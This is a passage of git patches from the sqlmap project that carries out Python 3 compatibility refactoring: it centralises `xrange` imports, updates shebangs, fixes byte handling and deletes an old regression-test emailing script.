2: + xrange = range + ONE_CHAR_PROB = 0.5 diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 46b6f18f24c..80897363291 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -109,6 +109,9 @@ def _show_debug_messages(): import sys, types, copy, re, random +if sys.version_info.major > 2: + xrange = range + # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") diff --git a/thirdparty/fcrypt/fcrypt.py b/thirdparty/fcrypt/fcrypt.py index bd6c970ba0b..c7ff3d063e3 100644 --- a/thirdparty/fcrypt/fcrypt.py +++ b/thirdparty/fcrypt/fcrypt.py @@ -119,8 +119,10 @@ # ----- END fcrypt.c LICENSE ----- -import string, struct +import string, struct, sys +if sys.version_info.major > 2: + xrange = range _ITERATIONS = 16 diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py index acb7b95e842..c907cbda4d8 100644 --- a/thirdparty/gprof2dot/gprof2dot.py +++ b/thirdparty/gprof2dot/gprof2dot.py @@ -29,8 +29,11 @@ import re import textwrap import optparse +import sys import xml.parsers.expat +if sys.version_info.major > 2: + xrange = range try: # Debugging helper module diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 248f9686ccd..78492552353 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -113,7 +113,7 @@ from six.moves import urllib as _urllib import socket -import thread +import threading DEBUG = None @@ -127,7 +127,7 @@ class ConnectionManager: * keep track of all existing """ def __init__(self): - self._lock = thread.allocate_lock() + self._lock = threading.Lock() self._hostmap = {} # map hosts to a list of connections self._connmap = {} # map connections to host self._readymap = {} # map connection to ready state diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py index beb53644242..edbb486b7d9 100644 --- a/thirdparty/xdot/xdot.py +++ b/thirdparty/xdot/xdot.py @@ -29,6 +29,7 @@ import time import re import optparse +import sys import gobject import gtk @@ -38,6 +39,8 @@ import pango import pangocairo +if sys.version_info.major > 2: + xrange = range # See http://www.graphviz.org/pub/scm/graphviz-cairo/plugin/cairo/gvrender_cairo.c From 9b72545d097382220a0dbec309fbbc364cc543b5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Thu, 28 Mar 2019 16:04:38 +0100 Subject: [PATCH 196/800] Some more DREI stuff --- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 7 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 14 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 4 +- extra/shutils/duplicates.py | 4 +- extra/shutils/newlines.py | 10 +- extra/shutils/pylint.py | 2 +- extra/shutils/regressiontest.py | 166 ------------------------ lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 8 +- lib/core/dump.py | 2 +- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/core/threads.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/payloads.py | 2 +- lib/request/connect.py | 2 +- lib/request/inject.py | 2 +- lib/takeover/udf.py | 4 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/api.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/purge.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/users.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/luanginx.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/xforwardedfor.py | 2 +- 76 files changed, 95 insertions(+), 258 deletions(-) delete mode 100755 extra/shutils/regressiontest.py diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 8307a1c2877..c654cbef7f4 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 8e26d30cb43..08cd26f92fb 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ beep.py - Make a beep sound @@ -8,7 +8,6 @@ """ import os -import subprocess import sys import wave @@ -16,11 +15,11 @@ def beep(): try: - if subprocess.mswindows: + if sys.platform == "nt": _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform == "darwin": _mac_beep() - elif sys.platform == "linux2": + elif sys.platform.startswith("linux"): _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 8307a1c2877..c654cbef7f4 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 8462dbc1267..72f7fe1e2dd 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ cloak.py - Simple file encryption/compression utility @@ -10,6 +10,7 @@ from __future__ import print_function import os +import struct import sys import zlib @@ -20,12 +21,10 @@ xrange = range def hideAscii(data): - retVal = "" + retVal = b"" for i in xrange(len(data)): - if ord(data[i]) < 128: - retVal += chr(ord(data[i]) ^ 127) - else: - retVal += data[i] + value = data[i] if isinstance(data[i], int) else ord(data[i]) + retVal += struct.pack('B', value ^ (127 if value < 128 else 0)) return retVal @@ -42,7 +41,8 @@ def decloak(inputFile=None, data=None): data = f.read() try: data = zlib.decompress(hideAscii(data)) - except: + except Exception as ex: + print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) finally: diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 8307a1c2877..c654cbef7f4 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index ca473f39d8e..6cca8bdc289 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python """ dbgtool.py - Portable executable to ASCII debug script converter @@ -34,7 +34,7 @@ def convert(inputFile): fileContent = fp.read() for fileChar in fileContent: - unsignedFileChar = struct.unpack("B", fileChar)[0] + unsignedFileChar = fileChar if sys.version_info.major > 2 else ord(fileChar) if unsignedFileChar != 0: counter2 += 1 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 23cc803df91..c3a1ebd1978 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission @@ -10,7 +10,7 @@ import sys if __name__ == "__main__": - if len(sys.argv) > 0: + if len(sys.argv) > 1: items = list() with open(sys.argv[1], 'r') as f: diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py index 1d76b377f07..fe28a35ba99 100644 --- a/extra/shutils/newlines.py +++ b/extra/shutils/newlines.py @@ -1,7 +1,4 @@ -#! /usr/bin/env python2 - -# Runs pylint on all python scripts found in a directory tree -# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html +#! /usr/bin/env python from __future__ import print_function @@ -11,9 +8,10 @@ def check(filepath): if filepath.endswith(".py"): content = open(filepath, "rb").read() + pattern = "\n\n\n".encode("ascii") - if "\n\n\n" in content: - index = content.find("\n\n\n") + if pattern in content: + index = content.find(pattern) print(filepath, repr(content[index - 30:index + 30])) if __name__ == "__main__": diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py index 13895460b0e..cec5321b2fb 100755 --- a/extra/shutils/pylint.py +++ b/extra/shutils/pylint.py @@ -1,4 +1,4 @@ -#! /usr/bin/env python2 +#! /usr/bin/env python # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py deleted file mode 100755 index 6d7f8134a62..00000000000 --- a/extra/shutils/regressiontest.py +++ /dev/null @@ -1,166 +0,0 @@ -#!/usr/bin/env python2 - -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -from __future__ import print_function - -import codecs -import inspect -import os -import re -import smtplib -import subprocess -import sys -import time -import traceback - -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText - -sys.path.append(os.path.normpath("%s/../../" % os.path.dirname(inspect.getfile(inspect.currentframe())))) - -from lib.core.revision import getRevisionNumber - -START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) -SQLMAP_HOME = "/opt/sqlmap" - -SMTP_SERVER = "127.0.0.1" -SMTP_PORT = 25 -SMTP_TIMEOUT = 30 -FROM = "regressiontest@sqlmap.org" -# TO = "dev@sqlmap.org" -TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] -SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber()) -TARGET = "debian" - -def prepare_email(content): - global FROM - global TO - global SUBJECT - - msg = MIMEMultipart() - msg["Subject"] = SUBJECT - msg["From"] = FROM - msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO) - - msg.attach(MIMEText(content)) - - return msg - -def send_email(msg): - global SMTP_SERVER - global SMTP_PORT - global SMTP_TIMEOUT - - try: - s = smtplib.SMTP(host=SMTP_SERVER, port=SMTP_PORT, timeout=SMTP_TIMEOUT) - s.sendmail(FROM, TO, msg.as_string()) - s.quit() - # Catch all for SMTP exceptions - except smtplib.SMTPException as ex: - print("Failure to send email: '%s" % ex) - -def failure_email(msg): - msg = prepare_email(msg) - send_email(msg) - sys.exit(1) - -def main(): - global SUBJECT - - content = "" - test_counts = [] - attachments = {} - - updateproc = subprocess.Popen("cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - stdout, stderr = updateproc.communicate() - - if stderr: - failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) - - regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) - stdout, stderr = regressionproc.communicate() - - if stderr: - failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - - failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) - - for failed_test in failed_tests: - title = failed_test[0] - test_count = int(failed_test[1]) - parse = failed_test[3] if failed_test[3] else None - output_folder = failed_test[4] - traceback = False if failed_test[5] == "False" else bool(failed_test[5]) - detected = False if failed_test[6] else True - - test_counts.append(test_count) - - console_output_file = os.path.join(output_folder, "console_output") - log_file = os.path.join(output_folder, TARGET, "log") - traceback_file = os.path.join(output_folder, "traceback") - - if os.path.exists(console_output_file): - console_output_fd = codecs.open(console_output_file, "rb", "utf8") - console_output = console_output_fd.read() - console_output_fd.close() - attachments[test_count] = str(console_output) - - if os.path.exists(log_file): - log_fd = codecs.open(log_file, "rb", "utf8") - log = log_fd.read() - log_fd.close() - - if os.path.exists(traceback_file): - traceback_fd = codecs.open(traceback_file, "rb", "utf8") - traceback = traceback_fd.read() - traceback_fd.close() - - content += "Failed test case '%s' (#%d)" % (title, test_count) - - if parse: - content += " at parsing: %s:\n\n" % parse - content += "### Log file:\n\n" - content += "%s\n\n" % log - elif not detected: - content += " - SQL injection not detected\n\n" - else: - content += "\n\n" - - if traceback: - content += "### Traceback:\n\n" - content += "%s\n\n" % str(traceback) - - content += "#######################################################################\n\n" - - end_string = "Regression test finished at %s" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) - - if content: - content += end_string - SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join("#%d" % count for count in test_counts)) - - msg = prepare_email(content) - - for test_count, attachment in attachments.items(): - attachment = MIMEText(attachment) - attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count) - msg.attach(attachment) - - send_email(msg) - else: - SUBJECT = "Successful %s" % SUBJECT - msg = prepare_email("All test cases were successful\n\n%s" % end_string) - send_email(msg) - -if __name__ == "__main__": - log_fd = open("/tmp/sqlmapregressiontest.log", "wb") - log_fd.write("Regression test started at %s\n" % START_TIME) - - try: - main() - except Exception: - log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) - - log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) - log_fd.close() diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 20a6af9673d..cb46ef879df 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -47,6 +47,7 @@ from lib.core.common import urlencode from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError +from lib.core.compat import xrange from lib.core.convert import unicodeencode from lib.core.defaults import defaults from lib.core.data import conf @@ -105,7 +106,6 @@ from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.six.moves import http_client as _http_client diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3c174618a2e..d2d6f78991e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -40,6 +40,7 @@ from lib.core.common import showHttpErrorCodes from lib.core.common import urlencode from lib.core.common import urldecode +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -72,7 +73,6 @@ from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile -from lib.utils.xrange import xrange def _selectInjection(): """ diff --git a/lib/core/agent.py b/lib/core/agent.py index 49c313f3db1..9fab4004c93 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -23,6 +23,7 @@ from lib.core.common import unArrayizeValue from lib.core.common import urlencode from lib.core.common import zeroDepthSearch +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import queries @@ -46,7 +47,6 @@ from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER from lib.core.unescaper import unescaper -from lib.utils.xrange import xrange class Agent(object): """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index d450d577728..a1dbcfecc45 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -16,11 +16,11 @@ import sys import tempfile +from lib.core.compat import xrange from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapSystemException from lib.core.settings import BIGARRAY_CHUNK_SIZE from lib.core.settings import BIGARRAY_COMPRESS_LEVEL -from lib.utils.xrange import xrange DEFAULT_SIZE_OF = sys.getsizeof(object()) diff --git a/lib/core/common.py b/lib/core/common.py index 707a1f1fe3a..7bdec65e081 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -45,6 +45,7 @@ from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray +from lib.core.compat import xrange from lib.core.convert import base64pickle from lib.core.convert import base64unpickle from lib.core.convert import hexdecode @@ -167,7 +168,6 @@ from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError diff --git a/lib/core/compat.py b/lib/core/compat.py index 7c164596fa5..74895c875e7 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -9,6 +9,7 @@ import os import random import uuid +import sys class WichmannHill(random.Random): """ @@ -163,4 +164,9 @@ def whseed(self, a=None): # Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py def choose_boundary(): - return uuid.uuid4().hex \ No newline at end of file + return uuid.uuid4().hex + +if sys.version_info.major > 2: + xrange = range +else: + xrange = xrange diff --git a/lib/core/dump.py b/lib/core/dump.py index eb6777f37ca..74a6d6c0152 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -28,6 +28,7 @@ from lib.core.common import safeCSValue from lib.core.common import unicodeencode from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -50,7 +51,6 @@ from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.magic import magic diff --git a/lib/core/option.py b/lib/core/option.py index 1cf106ec3e8..8744c1951d4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -58,6 +58,7 @@ from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -147,7 +148,6 @@ from lib.utils.deps import checkDependencies from lib.utils.search import search from lib.utils.purge import purge -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost diff --git a/lib/core/settings.py b/lib/core/settings.py index 5e6943d1761..c45f89d5ba1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.71" +VERSION = "1.3.3.72" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 45abcc0e8e2..c6522f4905e 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -26,6 +26,7 @@ from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import urldecode +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -72,7 +73,6 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB -from lib.utils.xrange import xrange from thirdparty.odict import OrderedDict from thirdparty.six.moves import urllib as _urllib diff --git a/lib/core/threads.py b/lib/core/threads.py index c32ed0c5e3c..bf871a11d57 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -13,6 +13,7 @@ import traceback from lib.core.compat import WichmannHill +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -25,7 +26,6 @@ from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION -from lib.utils.xrange import xrange shared = AttribDict() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index da3edf4b6b3..1fe1b0db44c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -22,6 +22,7 @@ from lib.core.common import dataToStdout from lib.core.common import expandMnemonics from lib.core.common import getUnicode +from lib.core.compat import xrange from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger @@ -39,7 +40,6 @@ from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory -from lib.utils.xrange import xrange def cmdLineParser(argv=None): """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 37addf5d1a3..5765df92bc7 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -11,12 +11,12 @@ from xml.etree import ElementTree as et from lib.core.common import getSafeExString +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException from lib.core.settings import PAYLOAD_XML_FILES -from lib.utils.xrange import xrange def cleanupVals(text, tag): if tag == "clause" and '-' in text: diff --git a/lib/request/connect.py b/lib/request/connect.py index ab5ce963e98..3d2e354b95f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -57,6 +57,7 @@ class WebSocketException(Exception): from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -118,7 +119,6 @@ class WebSocketException(Exception): from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six.moves import http_client as _http_client diff --git a/lib/request/inject.py b/lib/request/inject.py index f9a798d589a..5555e962d3f 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -31,6 +31,7 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -59,7 +60,6 @@ from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse -from lib.utils.xrange import xrange from thirdparty import six def _goDns(payload, expression): diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 787ac481ccd..45ecefc495c 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -13,6 +13,8 @@ from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput +from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries @@ -20,14 +22,12 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import OS -from lib.core.common import unArrayizeValue from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject -from lib.utils.xrange import xrange class UDF: """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 9102becba3b..27e522ad53e 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -31,6 +31,7 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.convert import hexencode from lib.core.convert import utf8encode from lib.core.data import conf @@ -51,7 +52,6 @@ from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request -from lib.utils.xrange import xrange from thirdparty.six.moves import urllib as _urllib class Web: diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index d50f0811681..788baa04c49 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -20,6 +20,7 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed +from lib.core.compat import xrange from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb @@ -32,7 +33,6 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData -from lib.utils.xrange import xrange from lib.request import inject class XP_cmdshell: diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 9d447c7d3a2..04f4f6899cb 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -22,6 +22,7 @@ from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -32,7 +33,6 @@ from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request -from lib.utils.xrange import xrange def dnsUse(payload, expression): """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 50a56e5dc73..ce70b8b96a5 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -32,6 +32,7 @@ from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseHTTPError +from lib.core.compat import xrange from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.data import conf @@ -57,7 +58,6 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -from lib.utils.xrange import xrange from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 3d51b7dc6a8..137656f0271 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -24,6 +24,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -42,7 +43,6 @@ from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request -from lib.utils.xrange import xrange def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 3800b52efc6..ffb3085f167 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -38,6 +38,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError +from lib.core.compat import xrange from lib.core.convert import htmlunescape from lib.core.data import conf from lib.core.data import kb @@ -59,7 +60,6 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -from lib.utils.xrange import xrange from thirdparty import six from thirdparty.odict import OrderedDict diff --git a/lib/utils/api.py b/lib/utils/api.py index 384c84c8806..e42e18fd49a 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -23,6 +23,7 @@ from lib.core.common import getSafeExString from lib.core.common import saveConfig from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.convert import dejsonize @@ -47,7 +48,6 @@ from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser -from lib.utils.xrange import xrange from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index faecf5da75b..7a86a947dc2 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -19,6 +19,7 @@ from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import urldecode +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -31,7 +32,6 @@ from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap from lib.request.connect import Connect as Request -from lib.utils.xrange import xrange from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 98d76b6df4f..5a2a9f0843a 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -61,6 +61,7 @@ from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.convert import hexdecode from lib.core.convert import hexencode from 